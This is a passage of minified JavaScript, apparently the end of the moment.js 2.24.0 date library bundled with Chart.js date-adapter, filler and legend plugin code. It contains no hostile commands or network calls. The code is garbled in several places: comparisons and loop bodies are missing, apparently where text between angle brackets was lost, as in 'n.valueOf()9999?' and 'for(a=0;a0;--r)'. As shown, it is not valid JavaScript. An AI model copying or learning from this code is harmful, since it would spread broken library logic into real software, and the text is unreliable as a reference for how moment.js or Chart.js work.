this.isoWeekYear()%100})),mn("gggg","weekYear"),mn("ggggg","weekYear"),mn("GGGG","isoWeekYear"),mn("GGGGG","isoWeekYear"),L("weekYear","gg"),L("isoWeekYear","GG"),Y("weekYear",1),Y("isoWeekYear",1),dt("G",rt),dt("g",rt),dt("GG",J,Z),dt("gg",J,Z),dt("GGGG",nt,X),dt("gggg",nt,X),dt("GGGGG",it,K),dt("ggggg",it,K),mt(["gggg","ggggg","GGGG","GGGGG"],(function(t,e,n,i){e[i.substr(0,2)]=k(t)})),mt(["gg","GG"],(function(t,e,n,i){e[i]=a.parseTwoDigitYear(t)})),j("Q",0,"Qo","quarter"),L("quarter","Q"),Y("quarter",7),dt("Q",q),gt("Q",(function(t,e){e[bt]=3*(k(t)-1)})),j("D",["DD",2],"Do","date"),L("date","D"),Y("date",9),dt("D",J),dt("DD",J,Z),dt("Do",(function(t,e){return t?e._dayOfMonthOrdinalParse||e._ordinalParse:e._dayOfMonthOrdinalParseLenient})),gt(["D","DD"],yt),gt("Do",(function(t,e){e[yt]=k(t.match(J)[0])}));var bn=Ot("Date",!0);j("DDD",["DDDD",3],"DDDo","dayOfYear"),L("dayOfYear","DDD"),Y("dayOfYear",4),dt("DDD",et),dt("DDDD",$),gt(["DDD","DDDD"],(function(t,e,n){n._dayOfYear=k(t)})),j("m",["mm",2],0,"minute"),L("minute","m"),Y("minute",14),dt("m",J),dt("mm",J,Z),gt(["m","mm"],_t);var yn=Ot("Minutes",!1);j("s",["ss",2],0,"second"),L("second","s"),Y("second",15),dt("s",J),dt("ss",J,Z),gt(["s","ss"],wt);var xn,_n=Ot("Seconds",!1);for(j("S",0,0,(function(){return~~(this.millisecond()/100)})),j(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),j(0,["SSS",3],0,"millisecond"),j(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),j(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),j(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),j(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),j(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),j(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),L("millisecond","ms"),Y("millisecond",16),dt("S",et,q),dt("SS",et,Z),dt("SSS",et,$),xn="SSSS";xn.length<=9;xn+="S")dt(xn,at);function wn(t,e){e[kt]=k(1e3*("0."+t))}for(xn="S";xn.length<=9;xn+="S")gt(xn,wn);var kn=Ot("Milliseconds",!1);j("z",0,0,"zoneAbbr"),j("zz",0,0,"zoneName");var Mn=x.prototype;function Sn(t){return t}Mn.add=en,Mn.calendar=function(t,e){var n=t||Le(),i=Ue(n,this).startOf("day"),r=a.calendarFormat(this,i)||"sameElse",o=e&&(O(e[r])?e[r].call(this,n):e[r]);return this.format(o||this.localeData().calendar(r,this,Le(n)))},Mn.clone=function(){return new x(this)},Mn.diff=function(t,e,n){var i,a,r;if(!this.isValid())return NaN;if(!(i=Ue(t,this)).isValid())return NaN;switch(a=6e4*(i.utcOffset()-this.utcOffset()),e=R(e)){case"year":r=an(this,i)/12;break;case"month":r=an(this,i);break;case"quarter":r=an(this,i)/3;break;case"second":r=(this-i)/1e3;break;case"minute":r=(this-i)/6e4;break;case"hour":r=(this-i)/36e5;break;case"day":r=(this-i-a)/864e5;break;case"week":r=(this-i-a)/6048e5;break;default:r=this-i}return n?r:w(r)},Mn.endOf=function(t){var e;if(void 0===(t=R(t))||"millisecond"===t||!this.isValid())return this;var n=this._isUTC?gn:fn;switch(t){case"year":e=n(this.year()+1,0,1)-1;break;case"quarter":e=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":e=n(this.year(),this.month()+1,1)-1;break;case"week":e=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":e=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":e=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":e=this._d.valueOf(),e+=dn-cn(e+(this._isUTC?0:this.utcOffset()*un),dn)-1;break;case"minute":e=this._d.valueOf(),e+=un-cn(e,un)-1;break;case"second":e=this._d.valueOf(),e+=ln-cn(e,ln)-1}return this._d.setTime(e),a.updateOffset(this,!0),this},Mn.format=function(t){t||(t=this.isUtc()?a.defaultFormatUtc:a.defaultFormat);var e=U(this,t);return this.localeData().postformat(e)},Mn.from=function(t,e){return this.isValid()&&(_(t)&&t.isValid()||Le(t).isValid())?Xe({to:this,from:t}).locale(this.locale()).humanize(!e):this.localeData().invalidDate()},Mn.fromNow=function(t){return this.from(Le(),t)},Mn.to=function(t,e){return this.isValid()&&(_(t)&&t.isValid()||Le(t).isValid())?Xe({from:this,to:t}).locale(this.locale()).humanize(!e):this.localeData().invalidDate()},Mn.toNow=function(t){return this.to(Le(),t)},Mn.get=function(t){return O(this[t=R(t)])?this[t]():this},Mn.invalidAt=function(){return g(this).overflow},Mn.isAfter=function(t,e){var n=_(t)?t:Le(t);return!(!this.isValid()||!n.isValid())&&("millisecond"===(e=R(e)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()9999?U(n,e?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):O(Date.prototype.toISOString)?e?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",U(n,"Z")):U(n,e?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},Mn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var t="moment",e="";this.isLocal()||(t=0===this.utcOffset()?"moment.utc":"moment.parseZone",e="Z");var n="["+t+'("]',i=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",a=e+'[")]';return this.format(n+i+"-MM-DD[T]HH:mm:ss.SSS"+a)},Mn.toJSON=function(){return this.isValid()?this.toISOString():null},Mn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},Mn.unix=function(){return Math.floor(this.valueOf()/1e3)},Mn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},Mn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},Mn.year=Tt,Mn.isLeapYear=function(){return Ct(this.year())},Mn.weekYear=function(t){return pn.call(this,t,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},Mn.isoWeekYear=function(t){return pn.call(this,t,this.isoWeek(),this.isoWeekday(),1,4)},Mn.quarter=Mn.quarters=function(t){return null==t?Math.ceil((this.month()+1)/3):this.month(3*(t-1)+this.month()%3)},Mn.month=zt,Mn.daysInMonth=function(){return It(this.year(),this.month())},Mn.week=Mn.weeks=function(t){var e=this.localeData().week(this);return null==t?e:this.add(7*(t-e),"d")},Mn.isoWeek=Mn.isoWeeks=function(t){var e=qt(this,1,4).week;return null==t?e:this.add(7*(t-e),"d")},Mn.weeksInYear=function(){var t=this.localeData()._week;return Zt(this.year(),t.dow,t.doy)},Mn.isoWeeksInYear=function(){return Zt(this.year(),1,4)},Mn.date=bn,Mn.day=Mn.days=function(t){if(!this.isValid())return null!=t?this:NaN;var e=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=t?(t=function(t,e){return"string"!=typeof t?t:isNaN(t)?"number"==typeof(t=e.weekdaysParse(t))?t:null:parseInt(t,10)}(t,this.localeData()),this.add(t-e,"d")):e},Mn.weekday=function(t){if(!this.isValid())return null!=t?this:NaN;var e=(this.day()+7-this.localeData()._week.dow)%7;return null==t?e:this.add(t-e,"d")},Mn.isoWeekday=function(t){if(!this.isValid())return null!=t?this:NaN;if(null!=t){var e=function(t,e){return"string"==typeof t?e.weekdaysParse(t)%7||7:isNaN(t)?null:t}(t,this.localeData());return this.day(this.day()%7?e:e-7)}return this.day()||7},Mn.dayOfYear=function(t){var e=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==t?e:this.add(t-e,"d")},Mn.hour=Mn.hours=le,Mn.minute=Mn.minutes=yn,Mn.second=Mn.seconds=_n,Mn.millisecond=Mn.milliseconds=kn,Mn.utcOffset=function(t,e,n){var i,r=this._offset||0;if(!this.isValid())return null!=t?this:NaN;if(null!=t){if("string"==typeof t){if(null===(t=je(st,t)))return this}else Math.abs(t)<16&&!n&&(t*=60);return!this._isUTC&&e&&(i=Ge(this)),this._offset=t,this._isUTC=!0,null!=i&&this.add(i,"m"),r!==t&&(!e||this._changeInProgress?tn(this,Xe(t-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,a.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:Ge(this)},Mn.utc=function(t){return this.utcOffset(0,t)},Mn.local=function(t){return this._isUTC&&(this.utcOffset(0,t),this._isUTC=!1,t&&this.subtract(Ge(this),"m")),this},Mn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var t=je(ot,this._i);null!=t?this.utcOffset(t):this.utcOffset(0,!0)}return this},Mn.hasAlignedHourOffset=function(t){return!!this.isValid()&&(t=t?Le(t).utcOffset():0,(this.utcOffset()-t)%60==0)},Mn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},Mn.isLocal=function(){return!!this.isValid()&&!this._isUTC},Mn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},Mn.isUtc=qe,Mn.isUTC=qe,Mn.zoneAbbr=function(){return this._isUTC?"UTC":""},Mn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},Mn.dates=D("dates accessor is deprecated. Use date instead.",bn),Mn.months=D("months accessor is deprecated. Use month instead",zt),Mn.years=D("years accessor is deprecated. Use year instead",Tt),Mn.zone=D("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",(function(t,e){return null!=t?("string"!=typeof t&&(t=-t),this.utcOffset(t,e),this):-this.utcOffset()})),Mn.isDSTShifted=D("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",(function(){if(!s(this._isDSTShifted))return this._isDSTShifted;var t={};if(b(t,this),(t=Fe(t))._a){var e=t._isUTC?f(t._a):Le(t._a);this._isDSTShifted=this.isValid()&&M(t._a,e.toArray())>0}else this._isDSTShifted=!1;return this._isDSTShifted}));var Dn=F.prototype;function Cn(t,e,n,i){var a=pe(),r=f().set(i,e);return a[n](r,t)}function Pn(t,e,n){if(l(t)&&(e=t,t=void 0),t=t||"",null!=e)return Cn(t,e,n,"month");var i,a=[];for(i=0;i<12;i++)a[i]=Cn(t,i,n,"month");return a}function Tn(t,e,n,i){"boolean"==typeof t?(l(e)&&(n=e,e=void 0),e=e||""):(n=e=t,t=!1,l(e)&&(n=e,e=void 0),e=e||"");var a,r=pe(),o=t?r._week.dow:0;if(null!=n)return Cn(e,(n+o)%7,i,"day");var s=[];for(a=0;a<7;a++)s[a]=Cn(e,(a+o)%7,i,"day");return s}Dn.calendar=function(t,e,n){var i=this._calendar[t]||this._calendar.sameElse;return O(i)?i.call(e,n):i},Dn.longDateFormat=function(t){var e=this._longDateFormat[t],n=this._longDateFormat[t.toUpperCase()];return e||!n?e:(this._longDateFormat[t]=n.replace(/MMMM|MM|DD|dddd/g,(function(t){return t.slice(1)})),this._longDateFormat[t])},Dn.invalidDate=function(){return this._invalidDate},Dn.ordinal=function(t){return this._ordinal.replace("%d",t)},Dn.preparse=Sn,Dn.postformat=Sn,Dn.relativeTime=function(t,e,n,i){var a=this._relativeTime[n];return O(a)?a(t,e,n,i):a.replace(/%d/i,t)},Dn.pastFuture=function(t,e){var n=this._relativeTime[t>0?"future":"past"];return O(n)?n(e):n.replace(/%s/i,e)},Dn.set=function(t){var e,n;for(n in t)O(e=t[n])?this[n]=e:this["_"+n]=e;this._config=t,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},Dn.months=function(t,e){return t?r(this._months)?this._months[t.month()]:this._months[(this._months.isFormat||Lt).test(e)?"format":"standalone"][t.month()]:r(this._months)?this._months:this._months.standalone},Dn.monthsShort=function(t,e){return t?r(this._monthsShort)?this._monthsShort[t.month()]:this._monthsShort[Lt.test(e)?"format":"standalone"][t.month()]:r(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},Dn.monthsParse=function(t,e,n){var i,a,r;if(this._monthsParseExact)return Wt.call(this,t,e,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),i=0;i<12;i++){if(a=f([2e3,i]),n&&!this._longMonthsParse[i]&&(this._longMonthsParse[i]=new RegExp("^"+this.months(a,"").replace(".","")+"$","i"),this._shortMonthsParse[i]=new RegExp("^"+this.monthsShort(a,"").replace(".","")+"$","i")),n||this._monthsParse[i]||(r="^"+this.months(a,"")+"|^"+this.monthsShort(a,""),this._monthsParse[i]=new RegExp(r.replace(".",""),"i")),n&&"MMMM"===e&&this._longMonthsParse[i].test(t))return i;if(n&&"MMM"===e&&this._shortMonthsParse[i].test(t))return i;if(!n&&this._monthsParse[i].test(t))return i}},Dn.monthsRegex=function(t){return this._monthsParseExact?(h(this,"_monthsRegex")||Ht.call(this),t?this._monthsStrictRegex:this._monthsRegex):(h(this,"_monthsRegex")||(this._monthsRegex=Vt),this._monthsStrictRegex&&t?this._monthsStrictRegex:this._monthsRegex)},Dn.monthsShortRegex=function(t){return this._monthsParseExact?(h(this,"_monthsRegex")||Ht.call(this),t?this._monthsShortStrictRegex:this._monthsShortRegex):(h(this,"_monthsShortRegex")||(this._monthsShortRegex=Et),this._monthsShortStrictRegex&&t?this._monthsShortStrictRegex:this._monthsShortRegex)},Dn.week=function(t){return qt(t,this._week.dow,this._week.doy).week},Dn.firstDayOfYear=function(){return this._week.doy},Dn.firstDayOfWeek=function(){return this._week.dow},Dn.weekdays=function(t,e){var n=r(this._weekdays)?this._weekdays:this._weekdays[t&&!0!==t&&this._weekdays.isFormat.test(e)?"format":"standalone"];return!0===t?$t(n,this._week.dow):t?n[t.day()]:n},Dn.weekdaysMin=function(t){return!0===t?$t(this._weekdaysMin,this._week.dow):t?this._weekdaysMin[t.day()]:this._weekdaysMin},Dn.weekdaysShort=function(t){return!0===t?$t(this._weekdaysShort,this._week.dow):t?this._weekdaysShort[t.day()]:this._weekdaysShort},Dn.weekdaysParse=function(t,e,n){var i,a,r;if(this._weekdaysParseExact)return Qt.call(this,t,e,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),i=0;i<7;i++){if(a=f([2e3,1]).day(i),n&&!this._fullWeekdaysParse[i]&&(this._fullWeekdaysParse[i]=new RegExp("^"+this.weekdays(a,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[i]=new RegExp("^"+this.weekdaysShort(a,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[i]=new RegExp("^"+this.weekdaysMin(a,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[i]||(r="^"+this.weekdays(a,"")+"|^"+this.weekdaysShort(a,"")+"|^"+this.weekdaysMin(a,""),this._weekdaysParse[i]=new RegExp(r.replace(".",""),"i")),n&&"dddd"===e&&this._fullWeekdaysParse[i].test(t))return i;if(n&&"ddd"===e&&this._shortWeekdaysParse[i].test(t))return i;if(n&&"dd"===e&&this._minWeekdaysParse[i].test(t))return i;if(!n&&this._weekdaysParse[i].test(t))return i}},Dn.weekdaysRegex=function(t){return this._weekdaysParseExact?(h(this,"_weekdaysRegex")||ie.call(this),t?this._weekdaysStrictRegex:this._weekdaysRegex):(h(this,"_weekdaysRegex")||(this._weekdaysRegex=te),this._weekdaysStrictRegex&&t?this._weekdaysStrictRegex:this._weekdaysRegex)},Dn.weekdaysShortRegex=function(t){return this._weekdaysParseExact?(h(this,"_weekdaysRegex")||ie.call(this),t?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(h(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=ee),this._weekdaysShortStrictRegex&&t?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},Dn.weekdaysMinRegex=function(t){return this._weekdaysParseExact?(h(this,"_weekdaysRegex")||ie.call(this),t?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(h(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=ne),this._weekdaysMinStrictRegex&&t?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},Dn.isPM=function(t){return"p"===(t+"").toLowerCase().charAt(0)},Dn.meridiem=function(t,e,n){return t>11?n?"pm":"PM":n?"am":"AM"},ge("en",{dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(t){var e=t%10;return t+(1===k(t%100/10)?"th":1===e?"st":2===e?"nd":3===e?"rd":"th")}}),a.lang=D("moment.lang is deprecated. Use moment.locale instead.",ge),a.langData=D("moment.langData is deprecated. Use moment.localeData instead.",pe);var On=Math.abs;function An(t,e,n,i){var a=Xe(e,n);return t._milliseconds+=i*a._milliseconds,t._days+=i*a._days,t._months+=i*a._months,t._bubble()}function Fn(t){return t<0?Math.floor(t):Math.ceil(t)}function In(t){return 4800*t/146097}function Ln(t){return 146097*t/4800}function Rn(t){return function(){return this.as(t)}}var Nn=Rn("ms"),Wn=Rn("s"),Yn=Rn("m"),zn=Rn("h"),En=Rn("d"),Vn=Rn("w"),Hn=Rn("M"),Bn=Rn("Q"),jn=Rn("y");function Un(t){return function(){return this.isValid()?this._data[t]:NaN}}var Gn=Un("milliseconds"),qn=Un("seconds"),Zn=Un("minutes"),$n=Un("hours"),Xn=Un("days"),Kn=Un("months"),Jn=Un("years"),Qn=Math.round,ti={ss:44,s:45,m:45,h:22,d:26,M:11};function ei(t,e,n,i,a){return a.relativeTime(e||1,!!n,t,i)}var ni=Math.abs;function ii(t){return(t>0)-(t<0)||+t}function ai(){if(!this.isValid())return this.localeData().invalidDate();var t,e,n=ni(this._milliseconds)/1e3,i=ni(this._days),a=ni(this._months);t=w(n/60),e=w(t/60),n%=60,t%=60;var r=w(a/12),o=a%=12,s=i,l=e,u=t,d=n?n.toFixed(3).replace(/\.?0+$/,""):"",h=this.asSeconds();if(!h)return"P0D";var c=h<0?"-":"",f=ii(this._months)!==ii(h)?"-":"",g=ii(this._days)!==ii(h)?"-":"",m=ii(this._milliseconds)!==ii(h)?"-":"";return c+"P"+(r?f+r+"Y":"")+(o?f+o+"M":"")+(s?g+s+"D":"")+(l||u||d?"T":"")+(l?m+l+"H":"")+(u?m+u+"M":"")+(d?m+d+"S":"")}var ri=ze.prototype;return ri.isValid=function(){return this._isValid},ri.abs=function(){var t=this._data;return this._milliseconds=On(this._milliseconds),this._days=On(this._days),this._months=On(this._months),t.milliseconds=On(t.milliseconds),t.seconds=On(t.seconds),t.minutes=On(t.minutes),t.hours=On(t.hours),t.months=On(t.months),t.years=On(t.years),this},ri.add=function(t,e){return An(this,t,e,1)},ri.subtract=function(t,e){return An(this,t,e,-1)},ri.as=function(t){if(!this.isValid())return NaN;var e,n,i=this._milliseconds;if("month"===(t=R(t))||"quarter"===t||"year"===t)switch(e=this._days+i/864e5,n=this._months+In(e),t){case"month":return n;case"quarter":return n/3;case"year":return n/12}else switch(e=this._days+Math.round(Ln(this._months)),t){case"week":return e/7+i/6048e5;case"day":return e+i/864e5;case"hour":return 24*e+i/36e5;case"minute":return 1440*e+i/6e4;case"second":return 86400*e+i/1e3;case"millisecond":return Math.floor(864e5*e)+i;default:throw new Error("Unknown unit "+t)}},ri.asMilliseconds=Nn,ri.asSeconds=Wn,ri.asMinutes=Yn,ri.asHours=zn,ri.asDays=En,ri.asWeeks=Vn,ri.asMonths=Hn,ri.asQuarters=Bn,ri.asYears=jn,ri.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*k(this._months/12):NaN},ri._bubble=function(){var t,e,n,i,a,r=this._milliseconds,o=this._days,s=this._months,l=this._data;return r>=0&&o>=0&&s>=0||r<=0&&o<=0&&s<=0||(r+=864e5*Fn(Ln(s)+o),o=0,s=0),l.milliseconds=r%1e3,t=w(r/1e3),l.seconds=t%60,e=w(t/60),l.minutes=e%60,n=w(e/60),l.hours=n%24,o+=w(n/24),a=w(In(o)),s+=a,o-=Fn(Ln(a)),i=w(s/12),s%=12,l.days=o,l.months=s,l.years=i,this},ri.clone=function(){return Xe(this)},ri.get=function(t){return t=R(t),this.isValid()?this[t+"s"]():NaN},ri.milliseconds=Gn,ri.seconds=qn,ri.minutes=Zn,ri.hours=$n,ri.days=Xn,ri.weeks=function(){return w(this.days()/7)},ri.months=Kn,ri.years=Jn,ri.humanize=function(t){if(!this.isValid())return this.localeData().invalidDate();var e=this.localeData(),n=function(t,e,n){var i=Xe(t).abs(),a=Qn(i.as("s")),r=Qn(i.as("m")),o=Qn(i.as("h")),s=Qn(i.as("d")),l=Qn(i.as("M")),u=Qn(i.as("y")),d=a<=ti.ss&&["s",a]||a0,d[4]=n,ei.apply(null,d)}(this,!t,e);return t&&(n=e.pastFuture(+this,n)),e.postformat(n)},ri.toISOString=ai,ri.toString=ai,ri.toJSON=ai,ri.locale=rn,ri.localeData=sn,ri.toIsoString=D("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",ai),ri.lang=on,j("X",0,0,"unix"),j("x",0,0,"valueOf"),dt("x",rt),dt("X",/[+-]?\d+(\.\d{1,3})?/),gt("X",(function(t,e,n){n._d=new Date(1e3*parseFloat(t,10))})),gt("x",(function(t,e,n){n._d=new Date(k(t))})),a.version="2.24.0",n=Le,a.fn=Mn,a.min=function(){return We("isBefore",[].slice.call(arguments,0))},a.max=function(){return We("isAfter",[].slice.call(arguments,0))},a.now=function(){return Date.now?Date.now():+new Date},a.utc=f,a.unix=function(t){return Le(1e3*t)},a.months=function(t,e){return Pn(t,e,"months")},a.isDate=u,a.locale=ge,a.invalid=p,a.duration=Xe,a.isMoment=_,a.weekdays=function(t,e,n){return Tn(t,e,n,"weekdays")},a.parseZone=function(){return Le.apply(null,arguments).parseZone()},a.localeData=pe,a.isDuration=Ee,a.monthsShort=function(t,e){return Pn(t,e,"monthsShort")},a.weekdaysMin=function(t,e,n){return Tn(t,e,n,"weekdaysMin")},a.defineLocale=me,a.updateLocale=function(t,e){if(null!=e){var n,i,a=ue;null!=(i=fe(t))&&(a=i._config),e=A(a,e),(n=new F(e)).parentLocale=de[t],de[t]=n,ge(t)}else null!=de[t]&&(null!=de[t].parentLocale?de[t]=de[t].parentLocale:null!=de[t]&&delete de[t]);return de[t]},a.locales=function(){return C(de)},a.weekdaysShort=function(t,e,n){return Tn(t,e,n,"weekdaysShort")},a.normalizeUnits=R,a.relativeTimeRounding=function(t){return void 0===t?Qn:"function"==typeof t&&(Qn=t,!0)},a.relativeTimeThreshold=function(t,e){return void 0!==ti[t]&&(void 0===e?ti[t]:(ti[t]=e,"s"===t&&(ti.ss=e-1),!0))},a.calendarFormat=function(t,e){var n=t.diff(e,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"},a.prototype=Mn,a.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"GGGG-[W]WW",MONTH:"YYYY-MM"},a}()})),mi={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};rn._date.override("function"==typeof gi?{_id:"moment",formats:function(){return mi},parse:function(t,e){return"string"==typeof t&&"string"==typeof e?t=gi(t,e):t instanceof gi||(t=gi(t)),t.isValid()?t.valueOf():null},format:function(t,e){return gi(t).format(e)},add:function(t,e,n){return gi(t).add(e,n).valueOf()},diff:function(t,e,n){return gi(t).diff(gi(e),n)},startOf:function(t,e,n){return t=gi(t),"isoWeek"===e?t.isoWeekday(n).valueOf():t.startOf(e).valueOf()},endOf:function(t,e){return gi(t).endOf(e).valueOf()},_create:function(t){return gi(t)}}:{}),W._set("global",{plugins:{filler:{propagate:!0}}});var pi={dataset:function(t){var e=t.fill,n=t.chart,i=n.getDatasetMeta(e),a=i&&n.isDatasetVisible(e)&&i.dataset._children||[],r=a.length||0;return r?function(t,e){return e=n)&&i;switch(r){case"bottom":return"start";case"top":return"end";case"zero":return"origin";case"origin":case"start":case"end":return r;default:return!1}}function bi(t){return(t.el._scale||{}).getPointPositionForValue?function(t){var e,n,i,a,r,o=t.el._scale,s=o.options,l=o.chart.data.labels.length,u=t.fill,d=[];if(!l)return null;for(e=s.ticks.reverse?o.max:o.min,n=s.ticks.reverse?o.min:o.max,i=o.getPointPositionForValue(0,e),a=0;a0;--r)H.canvas.lineTo(t,n[r],n[r-1],!0);else for(o=n[0].cx,s=n[0].cy,l=Math.sqrt(Math.pow(n[0].x-o,2)+Math.pow(n[0].y-s,2)),r=a-1;r>0;--r)t.arc(o,s,l,n[r].angle,n[r-1].angle,!0)}}function ki(t,e,n,i,a,r){var o,s,l,u,d,h,c,f,g=e.length,m=i.spanGaps,p=[],v=[],b=0,y=0;for(t.beginPath(),o=0,s=g;o=0;--n)(e=l[n].$filler)&&e.visible&&(a=(i=e.el)._view,r=i._children||[],o=e.mapper,s=a.backgroundColor||W.global.defaultColor,o&&s&&r.length&&(H.canvas.clipArea(u,t.chartArea),ki(u,r,o,a,s,i._loop),H.canvas.unclipArea(u)))}},Si=H.rtl.getRtlAdapter,Di=H.noop,Ci=H.valueOrDefault;function Pi(t,e){return t.usePointStyle&&t.boxWidth>e?e:t.boxWidth}W._set("global",{legend:{display:!0,position:"top",align:"center",fullWidth:!0,reverse:!1,weight:1e3,onClick:function(t,e){var n=e.datasetIndex,i=this.chart,a=i.getDatasetMeta(n);a.hidden=null===a.hidden?!i.data.datasets[n].hidden:null,i.update()},onHover:null,onLeave:null,labels:{boxWidth:40,padding:10,generateLabels:function(t){var e=t.data.datasets,n=t.options.legend||{},i=n.labels&&n.labels.usePointStyle;return t._getSortedDatasetMetas().map((function(n){var a=n.controller.getStyle(i?0:void 0);return{text:e[n.index].label,fillStyle:a.backgroundColor,hidden:!t.isDatasetVisible(n.index),lineCap:a.borderCapStyle,lineDash:a.borderDash,lineDashOffset:a.borderDashOffset,lineJoin:a.borderJoinStyle,lineWidth:a.borderWidth,strokeStyle:a.borderColor,pointStyle:a.pointStyle,rotation:a.rotation,datasetIndex:n.index}}),this)}}},legendCallback:function(t){var e,n,i,a=document.createElement("ul"),r=t.data.datasets;for(a.setAttribute("class",t.id+"-legend"),e=0,n=r.length;el.width)&&(h+=o+n.padding,d[d.length-(e>0?0:1)]=0),s[e]={left:0,top:0,width:i,height:o},d[d.length-1]+=i+n.padding})),l.height+=h}else{var c=n.padding,f=t.columnWidths=[],g=t.columnHeights=[],m=n.padding,p=0,v=0;H.each(t.legendItems,(function(t,e){var i=Pi(n,o)+o/2+a.measureText(t.text).width;e>0&&v+o+2*c>l.height&&(m+=p+n.padding,f.push(p),g.push(v),p=0,v=0),p=Math.max(p,i),v+=o+c,s[e]={left:0,top:0,width:i,height:o}})),m+=p,f.push(p),g.push(v),l.width+=m}t.width=l.width,t.height=l.height}else t.width=l.width=t.height=l.height=0},afterFit:Di,isHorizontal:function(){return"top"===this.options.position||"bottom"===this.options.position},draw:function(){var t=this,e=t.options,n=e.labels,i=W.global,a=i.defaultColor,r=i.elements.line,o=t.height,s=t.columnHeights,l=t.width,u=t.lineWidths;if(e.display){var d,h=Si(e.rtl,t.left,t.minSize.width),c=t.ctx,f=Ci(n.fontColor,i.defaultFontColor),g=H.options._parseFont(n),m=g.size;c.textAlign=h.textAlign("left"),c.textBaseline="middle",c.lineWidth=.5,c.strokeStyle=f,c.fillStyle=f,c.font=g.string;var p=Pi(n,m),v=t.legendHitBoxes,b=function(t,i){switch(e.align){case"start":return n.padding;case"end":return t-i;default:return(t-i+n.padding)/2}},y=t.isHorizontal();d=y?{x:t.left+b(l,u[0]),y:t.top+n.padding,line:0}:{x:t.left+n.padding,y:t.top+b(o,s[0]),line:0},H.rtl.overrideTextDirection(t.ctx,e.textDirection);var x=m+n.padding;H.each(t.legendItems,(function(e,i){var f=c.measureText(e.text).width,g=p+m/2+f,_=d.x,w=d.y;h.setWidth(t.minSize.width),y?i>0&&_+g+n.padding>t.left+t.minSize.width&&(w=d.y+=x,d.line++,_=d.x=t.left+b(l,u[d.line])):i>0&&w+x>t.top+t.minSize.height&&(_=d.x=_+t.columnWidths[d.line]+n.padding,d.line++,w=d.y=t.top+b(o,s[d.line]));var k=h.x(_);!function(t,e,i){if(!(isNaN(p)||p<=0)){c.save();var o=Ci(i.lineWidth,r.borderWidth);if(c.fillStyle=Ci(i.fillStyle,a),c.lineCap=Ci(i.lineCap,r.borderCapStyle),c.lineDashOffset=Ci(i.lineDashOffset,r.borderDashOffset),c.lineJoin=Ci(i.lineJoin,r.borderJoinStyle),c.lineWidth=o,c.strokeStyle=Ci(i.strokeStyle,a),c.setLineDash&&c.setLineDash(Ci(i.lineDash,r.borderDash)),n&&n.usePointStyle){var 